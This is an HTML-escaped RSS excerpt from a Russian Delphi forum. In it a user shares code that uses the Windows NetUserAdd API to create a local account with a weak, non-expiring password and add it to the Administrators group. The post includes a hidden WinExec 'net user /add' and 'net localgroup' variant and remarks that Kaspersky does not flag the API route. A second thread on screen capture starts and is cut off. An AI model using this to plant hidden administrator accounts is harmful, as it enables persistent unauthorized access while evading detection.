/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_auth_flags: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_full_name: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_usr_comment: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_parms: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_workstations: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_last_logon: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_last_logoff: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_acct_expires: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_max_storage: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_units_per_week: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_logon_hours: PBYTE; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_bad_pw_count: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_num_logons: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_logon_server: LPWSTR; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_country_code: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usri2_code_page: DWORD; &lt;br /&gt; end; &lt;br /&gt; {$EXTERNALSYM _USER_INFO_2} &lt;br /&gt; USER_INFO_2 = _USER_INFO_2; &lt;br /&gt; {$EXTERNALSYM USER_INFO_2} &lt;br /&gt; TUserInfo2 = USER_INFO_2; &lt;br /&gt; PUserInfo2 = puser_info_2;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; function NetUserAdd(ServerName: LPCWSTR; Level: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buff: PByte; var Parm_Err: DWORD&amp;#41;: DWORD; stdcall; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;external &apos;netapi32.dll&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var &lt;br /&gt; Form1: TForm1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; implementation &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; const &lt;br /&gt; NERR_Success = 0; &lt;br /&gt; USER_PRIV_USER&amp;nbsp;&amp;nbsp;= 1; &lt;br /&gt; UF_SCRIPT = $0001; &lt;br /&gt; UF_DONT_EXPIRE_PASSWD = $10000; &lt;br /&gt; var &lt;br /&gt; UserInfo: TUserInfo2; &lt;br /&gt; Parm_Err: DWORD; &lt;br /&gt; begin &lt;br /&gt; ZeroMemory(@UserInfo, SizeOf(TUserInfo2&amp;#41;&amp;#41;; &lt;br /&gt; UserInfo.usri2_name := &apos;TestUser&apos;; &lt;br /&gt; UserInfo.usri2_password := &apos;123&apos;; &lt;br /&gt; UserInfo.usri2_priv := USER_PRIV_USER; &lt;br /&gt; UserInfo.usri2_flags := UF_SCRIPT or UF_DONT_EXPIRE_PASSWD; &lt;br /&gt; if NetUserAdd(nil, 2, @UserInfo, Parm_Err&amp;#41; &lt;&gt; NERR_Success then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RaiseLastOSError &lt;br /&gt; else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&apos;Пользователь TestUser с паролем 123 успешно добавлен.&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; а вот в этом примере показан почти аналогичный код,с добавлением нашей учетной записи в указанную группу пользователей, но код к сожалению не полный... &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerUVNS1D&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerUVNS1D&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerUVNS1D&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerUVNS1D&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerUVNS1D&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerUVNS1D&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerUVNS1D&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerUVNS1D&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerUVNS1D&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; implementation &lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JwaLmErr, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JwaLmApiBuf, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JwaLmAccess; &lt;br /&gt; {$R *.dfm} &lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1: USER_INFO_1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pUI4: PUSER_INFO_4; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p: PByte; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Да, можно обойтись и только уровнем USER_INFO_4, не работающем в Win2000, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;но изначально я мучил именно User_Info_1, и переделывать уже было лень... &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;А вообще - в NetUserAdd указываем уровень 4 и пользуем только структуры одного типа...} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FillChar(UI1, SizeOf(User_INFO_1&amp;#41;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1.usri1_name := &apos;___NewUser___&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1.usri1_password := &apos;123&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1.usri1_priv := USER_PRIV_USER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1.usri1_comment := &apos;только что созданный пользователь&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UI1.usri1_flags := UF_SCRIPT or UF_NORMAL_ACCOUNT or UF_DONT_EXPIRE_PASSWD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if NetUserAdd(nil, 1, @UI1, @err&amp;#41; = NERR_Success then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&apos;Пользователь добавлен&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// чтобы установить пользователю членство в локальной группе, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// задействуем его SecurityIdentificator (SID&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// который появляется в структуре PUSER_INFO_4. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err := NetUserGetInfo(nil, &apos;___NewUser___&apos;, 4, p&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if err = NERR_Success then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&apos;Информация о пользователе получена&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pointer(pUI4&amp;#41; := Pointer(p&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{вообще-то правильно было бы получить локальные группы пользователей&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;с помощью NetLocalGroupEnum, и уже из них выбирать нужную, но лень} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err := NetLocalGroupAddMembers(nil, &apos;Администраторы&apos;, 0, @pUI4.usri4_user_sid, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if err &lt;&gt; NERR_Success then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(IntToStr(err&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(&apos;Пользователь добавлен в группу&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetApiBufferFree(p&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; сам я как не пытался,объединить эти два примера мне не удалось,вот теперь пришлось создать новую тему что бы разобраться в данном примере.... &lt;br /&gt;&lt;br /&gt; конкретно требуется добавить новую учетную запись в определенную группу пользователей,думаю данный код будет многим полезен и интересен, поэтому прошу вашей помощи,кто может помочь разобраться в примере,буду очень благодарен за вашу помощь по теме... &lt;br /&gt;&lt;br /&gt; и еще заранее хотел бы попросить не выкладывать в данной теме код для добавления новой учетной записи через WinExec, и темболее не указывать на то что он гораздо проще в использовании, так как этот код каким бы он не был,в любом случае аналогичен примеру из любого батника...,а меня интересует именно первый вариант,хоть он и более сложный, но нас трудности не пугают так ведь? &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; вот код о котором идет речь, убедительная просьба на него не ссылаться: &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerihLO2U&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerihLO2U&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerihLO2U&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerihLO2U&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerihLO2U&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerihLO2U&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerihLO2U&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerihLO2U&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerihLO2U&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; s1: PAnsiChar; &lt;br /&gt; s2: PAnsiChar; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s1:=PChar(&apos;net user &apos;+ Edit1.Text+ &apos; &apos;+ Edit2.Text+ &apos; /add&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s2:=PChar(&apos;net localgroup &quot;Администраторы&quot; &apos;+ Edit2.Text+ &apos; /add&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinExec(s1, SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinExec(s2, SW_HIDE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt;&lt;br /&gt; ========================== &lt;br /&gt;&lt;br /&gt; А если я скажу что на использование функции указанной в первом коде не ругается антивирус, может хоть так народ обратит на это внимание? &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; &lt;br /&gt;&lt;br /&gt; PS: по крайней мере Касперский точно не среагировал! &lt;br /&gt;&lt;br /&gt; я просто никак не могу сообразить как объединить эти два кода во едино, что бы используя функцию из первого примера добавить учетную запись в группу...</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-652-1</guid>
</item>
<item>
<title>Делаем скриншот</title>
<link>https://delfcode.ru/forum/9-670-1</link>
<pubDate>Fri, 09 Mar 2012 13:48:36 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: выделенной области экрана&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 13</description>
<content:encoded>Всем привет, это снова я &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt;&lt;br /&gt; у меня такой вопрос: &lt;br /&gt;&lt;br /&gt; пишу программу запись изображения с экрана монитора, и не могу разобраться как добавить в программу выделение определенной области экрана мышкой, что бы запись производилась конкретно из этой выделенной области? &lt;br /&gt;&lt;br /&gt; сам код записи и сохранения видео у меня уже есть, и с этим я разобрался, просто в моем коде я изначально указывал &quot;height&quot; и &quot;width&quot; в диапозоне которых и производилась запись, мне нужно добавить возможность выделения области экрана, что бы параметры высоты и ширины выделенной области копировались в программу, вот как то так... &lt;br /&gt;&lt;br /&gt; вобщем как я понял нужно во первых нарисовать поверх всех окон (при нажатии на 